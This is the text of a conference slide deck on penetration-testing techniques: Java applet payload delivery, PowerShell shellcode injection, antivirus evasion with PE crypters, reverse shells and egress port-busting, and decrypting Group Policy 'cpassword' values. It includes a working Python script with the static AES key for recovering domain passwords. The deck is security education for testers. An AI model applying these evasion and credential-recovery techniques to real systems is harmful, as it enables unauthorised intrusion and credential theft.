BSIDES Las Vegas Secret Pentesting Techniques Shhh...



Similar documents
Defcon 20 Owning One To Rule Them All. Dave DeSimone Manager, Information Security Fortune 1000

How To Use Powerhell For Security Research

Hacking your perimeter. Social-Engineering. Not everyone needs to use zero. David Kennedy (ReL1K) Twitter: Dave_ReL1K

PowerShell. It s time to own. David Kennedy (ReL1K) Josh Kelley (Winfang) Twitter: dave_rel1k

The Social-Engineer Toolkit (SET)

Penetration Testing Using The Kill Chain Methodology

Project Artillery Active Honeypotting. Dave Kennedy Founder, Principal Security Consultant

Contents Who Should Read this Book... 3 Credits:... 3 Introduction and background... 3 Lab Setup... 3 A primer on windows user privileges...

Kautilya: Teensy beyond shells

ASL IT SECURITY XTREME XPLOIT DEVELOPMENT

IS L06 Protect Servers and Defend Against APTs with Symantec Critical System Protection

Threat Intelligence Pty Ltd Specialist Security Training Catalogue

How to hack a website with Metasploit

Social-Engineering. Pentesting over Power lines. Dave Kennedy Rob Simon

AUTHOR CONTACT DETAILS

Mobile Application Hacking for Android and iphone. 4-Day Hands-On Course. Syllabus

Learn Ethical Hacking, Become a Pentester

Vulnerability Assessment and Penetration Testing

Social Engineering Toolkit

A New Era. A New Edge. Phishing within your company

1. LAB SNIFFING LAB ID: 10

Penetration Testing with Kali Linux

Metasploit ing the target machine is a fascinating subject to all security professionals. The rich list of exploit codes and other handy modules of

Penetration Test Report

Lab 7 - Exploitation 1. NCS 430 Penetration Testing Lab 7 Sunday, March 29, 2015 John Salamy

Author: Sumedt Jitpukdebodin. Organization: ACIS i-secure. ID: My Blog:

Shell over what?! Naughty CDN manipulations. Roee Cnaan, Information Security Consultant

Android (in)security. Having fun with Android. Sarantis Makoudis

ASL IT Security Advanced Web Exploitation Kung Fu V2.0

Metasploit The Elixir of Network Security

SQL Injection Attacks on Steroids:

PuttyRider. With great power comes great responsibility. # Pivoting from Windows to Linux in a penetration test. Adrian Furtunã, PhD adif2k8@gmail.

CIT 480: Securing Computer Systems. Vulnerability Scanning and Exploitation Frameworks

OutDisk 4.0 FTP FTP for Users using Microsoft Windows and/or Microsoft Outlook. 5/1/ Encryptomatic LLC

Evolution of PenTesting

Absolute Backdoor Revisited. Vitaliy Kamlyuk, Kaspersky Lab Sergey Belov, Kaspersky Lab Anibal Sacco, Cubica Labs

This report is a detailed analysis of the dropper and the payload of the HIMAN malware.

Sandy. The Malicious Exploit Analysis. Static Analysis and Dynamic exploit analysis. Garage4Hackers

Smartphone Pentest Framework v0.1. User Guide

Post Exploitation. n00bpentesting.com

david d. rude Affiliated Computer Services Penetration Tester <bannedit0 [ at ] gmail.com> Develop Codes for stuff

STABLE & SECURE BANK lab writeup. Page 1 of 21

Agenda. Red Team Difference to a Pen Test Common RT Techniques Blue Team

Still Aren't Doing. Frank Kim

2007 Microsoft Office System Document Encryption

Introweb Remote Backup Client for Mac OS X User Manual. Version 3.20

Mass Pwnage 4 Dummies. Latest pen-testing tricks using Metasploit

Security Threat Kill Chain What log data would you need to identify an APT and perform forensic analysis?

Pentesting Android Mobile Application

How We're Getting Creamed

Social-Engineering. Adaptive Pentesting. Kevin Mitnick Dave Kennedy

Hacking for Fun and Profit

Volume SYSLOG JUNCTION. User s Guide. User s Guide

Black Box Penetration Testing For GPEN.KM V1.0 Month dd "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383;!

How To Understand The Architecture Of An Ulteo Virtual Desktop Server Farm

Intelligence Gathering. n00bpentesting.com

1 Backup/Restore Files

HP Client Automation Standard Fast Track guide

Parasitics: The Next Generation. Vitaly Zaytsev Abhishek Karnik Joshua Phillips

PTSv2 in pills: The Best First for Beginners who want to become Penetration Testers. Self-paced, online, flexible access

Threat Modelling for Web Application Deployment. Ivan Ristic (Thinking Stone)

WildFire Overview. WildFire Administrator s Guide 1. Copyright Palo Alto Networks

Online Backup Client User Manual

Firewalls and Software Updates

Signiant Agent installation

Make a folder named Lab3. We will be using Unix redirection commands to create several output files in that folder.

Recon and Mapping Tools and Exploitation Tools in SamuraiWTF Report section Nick Robbins

Web Application Security Payloads. Andrés Riancho Director of Web Security OWASP AppSec USA Minneapolis

Exploiting Transparent User Identification Systems

Operation Liberpy : Keyloggers and information theft in Latin America

Hide and seek - how targeted attacks hide behind clean applications Szappanos Gábor

Configuring WildFire. Version 1.0 PAN-OS Johan Loos.

I Hunt Penetration Testers!

TUNNA. A tool designed to bypass firewall restrictions on remote webservers. By: Rodrigo Marcos Nikos Vassakis

Maintaining Access CHAPTER 10 CHAPTER OVERVIEW AND KEY LEARNING POINTS INTRODUCTION INFORMATION IN THIS CHAPTER

Penetration Testing Ninjitsu 2: Crouching Netcat, Hidden Vulnerabilities. By Ed Skoudis

Web Application Hacking (Penetration Testing) 5-day Hands-On Course

Why The Security You Bought Yesterday, Won t Save You Today

RecoveryVault Express Client User Manual

CYBERTRON NETWORK SOLUTIONS

How users bypass your security!


Evading Infrastructure Security Mohamed Bedewi Penetration Testing Consultant

Secure Web Development Teaching Modules 1. Security Testing. 1.1 Security Practices for Software Verification

Step by Step. Use the Cloud Login Website

Online Backup Linux Client User Manual

best practices for encryption in android

PowerShell for Penetration Testers

Online Backup Client User Manual

Setup and configuration for Intelicode. SQL Server Express

What is Penetration Testing?

Connecting to the School of Computing Servers and Transferring Files

Introduction to Operating Systems

SYWorks Vulnerable Web Applications Compilation For Penetration Testing Installation Guide

INDUSTRIAL CONTROL SYSTEMS CYBER SECURITY DEMONSTRATION

Penetration Testing for iphone Applications Part 1

IN STA LLIN G A VA LA N C HE REMOTE C O N TROL 4. 1

Anti-virus Evasion Techniques. By: Abhinav Singh a.k.a DaRkLoRd

1. Installation Overview

1. Product Information

Transcription:

BSIDES Las Vegas Secret Pentesting Techniques Shhh... Dave Kennedy Founder, Principal Security Consultant Email: davek@trustedsec.com https://www.trustedsec.com @TrustedSec

Introduc)on As penetration testers, exploit writers, huggers, etc. we have secret techniques we always use. Although some may or may not be public, they are generally obscure and not well known.

The purpose of today s talk is to show you my secrets.. Some of my techniques that I use that aren t widely known. Why show you? I m an open book on everything I do and sharing is what it s all about.

Technique #1 Java Applet Attack (SET) Well known attack method right? Do you know how it actually works? Do you know the techniques behind it to make it successful?

ZOMG APT News agencies around the world discovered a new and extremely advanced zero-day exploit against Java. Made me feel kind of special =) How people found out it was set?

ILIKEHUGS

DEMO: Walking through the Attack

Explaining the Applet Parameters that are injected into the HTML code are pulled from the Applet. Obfuscated and randomized each time. Parameters tell the Applet which attacks to use.

Method 1 Binary Dropper Binary is downloaded from attacker machine via web server (Java downloader) Obfuscated binary each time per deployment.. Combination of PE manipulation, UPX, and rewriting binary on fly (import pefile)

DEMO: Binary Dropping Technique

Method 1 Weak Sauce Binary s are easily picked up by AV if signatures focus on obfuscation techniques. (SET changes them each version) Direct interaction with Windows file system and writing to disk. Multiple points of evidence on victim machine.

Method 2 Shellcodeexec Shellcodeexec method drops a custom compiled and modified version of shellcodeexec by Bernardo Damele. Executable takes int main(int argc, char*argv[]) parameter for alphanumeric shellcode. Uses VirtualAlloc for read, write, and execute memory space. Alphanumeric shellcode is executed in memory and payload is delivered.

DEMO: ShellcodeExec

Method 2 Easily detectable Shellcodeexec is a simple yet awesome method but still has a number of drawbacks. Like Method 1 Binary s can be picked up unless custom version created. Direct interaction with Windows file system and writing to disk. Like Method 1 - Multiple points of evidence on victim machine.

Method 3 Powershell Injec)on Detect if Powershell is installed (installed by default on Vista and Windows 7 and 8). Powershell gives us complete flexibility on a number of post exploitation situations. Technique discovered by Matthew Graeber (you rock).

Method 3 PS ShellCode Injec)on Applet detects if powershell is installed on system. Grabs the operating system type (x86 / x64) Deploys Shellcode straight through powershell.

DEMO: ShellcodeExec

Method 3 Powershell Injec)on Never touches disk AV / HIPS signatures go out the door. Obfuscated each time so that memory inspection is extremely difficult. Extremely reliable and stable.

PE Security Evasion

Scenario 1 Dropping PE s like its hot Your using Metasploit All of them are being picked up by AV, HIPS, etc. Most cases, I will rewrite the exe template for Metasploit to customize binary for evasion. Couple cool ways to do this.

Modifying PE For Evasion in MSF Easiest way for me is to make a simple program that creates a RWX process then have the program execute Metasploit Shellcode. You can also modify the Metasploit exe.rb template and obfuscate the code that way.

PE Crypters One of my favorites was recently released called Hyperion (Christian Ammann from nullsecurity.net). Encrypts PE the file using a randomized simple cipher key with AES 128. When executable is run, it brute forces the AES key then decrypts the PE file for you.

DEMO: Hyperion

Hyperion Encryp)on Very cool concept and easy to use and write one for yourself. Ability to have a completely unique PE file each time. Slight downfall, stub used for brute force is not polymorphic.

Building a Simple Reverse Shell

The Reverse Shell Connects out to the attacker (reverse shell).

Compiling Binaries PyInstaller Compiles python code for you into a binary by wrapping the Python Interpreter into the executable. Works on Linux, OSX, and Windows. python Configure.py python Makespec.py onefile noconsole shell.py python Build.py shell/shell.spec cd shell\dist

Making it easy pybuild.py All code and samples will be released on the TrustedSec website soon.

DEMO: Building a Shell

Bypassing AV

Finding your way home

Bumping the Firewall A number of companies restrict ports outbound and only allow what s needed for the business. Trouble getting payloads out, especially if you only have one shot.

Egress Bus)ng Few ways to do it, pre-staged payload for identifying way out. Attempt staged reverse on every port. Metasploit has an ALLPORTS payload as well.

Egress Buster 0.2 Server/Client situation where victim connects out on every port 1024 ports at a time. Server listens for connection and reports back. Here s where you can have some fun.

Egress Buster Reverse Shell

Egress Buster Reverse Shell Released this week! Allows you to bust all ports inside the firewall and spawn a command shell. Custom, so no AV picks this up. Byte compiled into an executable.

DEMO: Egress Buster Reverse Shell

Egress Buster Reverse Shell Usage Recent Penetration Test Found file upload + execute binary s. Could not find a standard port out i.e. 80, 443, 53, 25, etc. Wrote this to deploy and found several obscure ports that were allowed.

Fun with Group Policy

One of my PERSONAL Favorites How many times have we been on a pentest with just a domain user? Need that local administrator account for all of the domain computers? Research from: Sogeti ESEC Pentest Article: http://esec-pentest.sogeti.com/ exploiting-windows-2008-group-policypreferences

The AZack Navigate to a domain controller and hit up the SYSVOL share. Head to the domain name and Policies folder. Look for a GUID then MACHINE \Preferences\Group. Look for the Groups.xml file.

Contents of File

Sta)c Key for AES Anyone?

Python Code # code was developed and created from # http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences from Crypto.Cipher import AES from base64 import b64decode key = """ 4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8 f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b """.replace(" ","").replace("\n","").decode('hex') cpassword = b64decode("j1uyj3vx8ty9ltlzil2uauzkfqa/4latt76zwgdhdhw=") o = AES.new(key, 2).decrypt(cpassword) print o[:-ord(o[-1])].decode('utf16')

Decrypted Password >>> print o[:-ord(o[-1])].decode('utf16') Local*P4ssword!

Expanding on Group.xml

More Passwords Stored The folks over at rewt dance ( http://rewtdance.blogspot.com/ 2012/06/exploiting-windows-2008- group-policy.html) found a few more areas that store passwords using the cpassword attribute. Services, ScheduledTasks, SQL servers and much more are impacted.

List of Other Affected Areas (from rewt dance) Services\Services.xml http://msdn.microsoft.com/en-us/library/cc980070(v=prot.13) ScheduledTasks\ScheduledTasks.xml http://msdn.microsoft.com/en-us/library/cc422920(v=prot.13) http://msdn.microsoft.com/en-us/library/dd341350(v=prot.13) http://msdn.microsoft.com/en-us/library/dd304114(v=prot.13) Printers\Printers.xml http://msdn.microsoft.com/en-us/library/cc422918(v=prot.13) Drives\Drives.xml http://msdn.microsoft.com/en-us/library/cc704598(v=prot.13) DataSources\DataSources.xml http://msdn.microsoft.com/en-us/library/cc422926(v=prot.13)

There s a ton more of these Hopefully can make these a series.

Downloads For the code and tools used in this presentation, head over to https://www.trustedsec.com and click on the Downloads.

Secret Pentesting Techniques Shhh... Dave Kennedy Founder, Principal Security Consultant Email: davek@trustedsec.com https://www.trustedsec.com TrustedSec, LLC @TrustedSec